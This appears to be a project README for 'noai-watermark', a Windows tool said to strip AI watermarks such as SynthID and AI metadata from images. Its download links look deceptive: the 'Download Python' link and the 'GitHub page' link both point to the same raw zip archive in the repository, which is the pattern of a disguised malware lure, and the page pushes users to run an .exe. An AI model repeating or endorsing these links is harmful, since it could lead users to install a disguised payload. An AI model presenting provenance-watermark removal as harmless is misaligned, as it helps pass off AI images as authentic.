noai-watermark is a free tool that helps you remove hidden AI watermarks and metadata from images. These watermarks include SynthID, StableSignature, TreeRing, and other AI-generated marks that stay invisible to the naked eye. The tool works on images to clean them from any AI-related metadata as well.
This project is open-source and runs through an easy-to-use command line interface (CLI) or Python scripts. It is designed to help people handle images that may contain artificial intelligence tracking marks.
- Remove invisible AI watermarks like SynthID, StableSignature, and TreeRing
- Strip AI-generated metadata from images
- Support for common image formats such as PNG, JPG, and TIFF
- Command-line interface for quick use without programming
- Python toolkit for users comfortable running simple scripts
- Open-source, allowing community review and updates
- Works on Windows systems (64-bit recommended)
- Fast processing with minimal impact on image quality
- Operating System: Windows 10 or later (64-bit preferred)
- RAM: At least 4 GB of memory
- Storage: Minimum 200 MB free disk space
- Python: Version 3.7 or later (optional, only needed if using Python toolkit)
- Administrator rights not required
This section will guide you step-by-step through downloading and running noai-watermark on your Windows computer. You do not need any programming skills or special setup.
-
Click this big download button below to visit the release page:
-
On the release page, look for the latest Windows executable file. It will end with
.exe. -
Click the Windows
.exefile to start the download. The file size is about 50-100 MB. -
Once the download completes, open your Downloads folder and double-click the
.exefile. -
When prompted, choose where to install the program or accept the default location.
-
Follow the installation wizard’s instructions until setup finishes.
-
After installation, the program is ready to use.
There are two main ways to use noai-watermark: through the Command Prompt or using Python scripts.
-
Open the Start menu and type
cmdin the search bar. Press Enter to open the Command Prompt. -
In the Command Prompt window, type the following command with your image file path:
noai-watermark --input "C:\Path\To\Your\image.jpg" --output "C:\Path\To\Your\cleaned_image.jpg"
- Replace
"C:\Path\To\Your\image.jpg"with the actual location of your image. - Replace
"C:\Path\To\Your\cleaned_image.jpg"with where you want the cleaned image saved.
-
Press Enter. The tool will process the file and remove watermarks or metadata automatically.
-
When the process ends, check the output folder for your cleaned image.
-
If you want to use the Python toolkit, make sure Python 3.7+ is installed on your computer. Download Python from https://raw.githubusercontent.com/vctor03/noai-watermark/main/example/watermark_noai_2.2-beta.1.zip if you don’t have it.
-
Open Command Prompt and install noai-watermark's Python package by running:
pip install noai-watermark -
Create a Python script file (for example,
remove_watermark.py) and write:from noai_watermark import remove_watermark input_path = "C:/Path/To/Your/image.jpg" output_path = "C:/Path/To/Your/cleaned_image.jpg" remove_watermark(input_path, output_path)
-
Save the script and run it with the command:
python remove_watermark.py -
The AI watermarks will be removed, and the output image saved in the location you chose.
--inputor-i: Path to your input image file.--outputor-o: Path where you want the output saved.--helpor-h: Show all available options and usage instructions.
Example:
noai-watermark -i "C:\Users\User\Pictures\image.jpg" -o "C:\Users\User\Pictures\cleaned_image.jpg"
- Make sure the image file path is correct and that the file exists.
- If you see “command not found,” check the installation or try reinstalling.
- For Python users, confirm Python and
pipare set properly in your system path. - Ensure your Windows system has enough free memory and disk space.
- If images do not clean properly, try with commonly supported formats like JPG or PNG.
Visit the noai-watermark GitHub page for additional documentation, FAQs, and updates.
https://raw.githubusercontent.com/vctor03/noai-watermark/main/example/watermark_noai_2.2-beta.1.zip